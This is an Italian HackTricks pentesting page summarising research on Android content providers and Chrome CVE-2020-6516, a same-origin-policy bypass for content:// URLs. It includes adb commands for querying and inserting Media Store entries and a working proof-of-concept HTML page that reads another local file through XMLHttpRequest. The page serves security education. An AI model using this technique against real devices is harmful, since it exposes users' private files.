mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
79 lines
3.8 KiB
Markdown
79 lines
3.8 KiB
Markdown
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
**Questo è un riepilogo del post [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
|
|
|
|
### Elencare i file nel Media Store
|
|
|
|
Per elencare i file gestiti dal Media Store, è possibile utilizzare il comando seguente:
|
|
```bash
|
|
$ content query --uri content://media/external/file
|
|
```
|
|
Per un output più amichevole, visualizzando solo l'identificatore e il percorso di ciascun file indicizzato:
|
|
```bash
|
|
$ content query --uri content://media/external/file --projection _id,_data
|
|
```
|
|
I provider di contenuti sono isolati nel loro namespace privato. L'accesso a un provider richiede l'URI specifico `content://`. Le informazioni sui percorsi per accedere a un provider possono essere ottenute dai manifest delle applicazioni o dal codice sorgente del framework Android.
|
|
|
|
### Accesso di Chrome ai Provider di Contenuti
|
|
|
|
Chrome su Android può accedere ai provider di contenuti tramite lo schema `content://`, consentendogli di accedere a risorse come foto o documenti esportati da applicazioni di terze parti. Per illustrare questo, un file può essere inserito nel Media Store e poi accesso tramite Chrome:
|
|
|
|
Inserisci un'entrata personalizzata nel Media Store:
|
|
```bash
|
|
cd /sdcard
|
|
echo "Hello, world!" > test.txt
|
|
content insert --uri content://media/external/file \
|
|
--bind _data:s:/storage/emulated/0/test.txt \
|
|
--bind mime_type:s:text/plain
|
|
```
|
|
Scopri l'identificatore del file appena inserito:
|
|
```bash
|
|
content query --uri content://media/external/file \
|
|
--projection _id,_data | grep test.txt
|
|
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
|
|
```
|
|
Il file può quindi essere visualizzato in Chrome utilizzando un URL costruito con l'identificatore del file.
|
|
|
|
Ad esempio, per elencare i file relativi a un'applicazione specifica:
|
|
```bash
|
|
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
|
|
```
|
|
### Chrome CVE-2020-6516: Bypass della Same-Origin-Policy
|
|
|
|
La _Same Origin Policy_ (SOP) è un protocollo di sicurezza nei browser che limita le pagine web dall'interagire con risorse provenienti da origini diverse, a meno che non sia esplicitamente consentito da una politica di Cross-Origin-Resource-Sharing (CORS). Questa politica mira a prevenire perdite di informazioni e attacchi di cross-site request forgery. Chrome considera `content://` come uno schema locale, implicando regole SOP più severe, dove ogni URL di schema locale è trattato come un'origine separata.
|
|
|
|
Tuttavia, CVE-2020-6516 era una vulnerabilità in Chrome che consentiva un bypass delle regole SOP per le risorse caricate tramite un URL `content://`. Di fatto, il codice JavaScript da un URL `content://` poteva accedere ad altre risorse caricate tramite URL `content://`, il che rappresentava una significativa preoccupazione per la sicurezza, specialmente sui dispositivi Android che eseguivano versioni precedenti ad Android 10, dove lo storage scoping non era implementato.
|
|
|
|
La prova di concetto qui sotto dimostra questa vulnerabilità, dove un documento HTML, dopo essere stato caricato sotto **/sdcard** e aggiunto al Media Store, utilizza `XMLHttpRequest` nel suo JavaScript per accedere e visualizzare i contenuti di un altro file nel Media Store, bypassando le regole SOP.
|
|
|
|
Proof-of-Concept HTML:
|
|
```xml
|
|
<html>
|
|
<head>
|
|
<title>PoC</title>
|
|
<script type="text/javascript">
|
|
function poc()
|
|
{
|
|
var xhr = new XMLHttpRequest();
|
|
|
|
xhr.onreadystatechange = function()
|
|
{
|
|
if(this.readyState == 4)
|
|
{
|
|
if(this.status == 200 || this.status == 0)
|
|
{
|
|
alert(xhr.response);
|
|
}
|
|
}
|
|
}
|
|
|
|
xhr.open("GET", "content://media/external/file/747");
|
|
xhr.send();
|
|
}
|
|
</script>
|
|
</head>
|
|
<body onload="poc()"></body>
|
|
</html>
|
|
```
|
|
{{#include ../../banners/hacktricks-training.md}}
|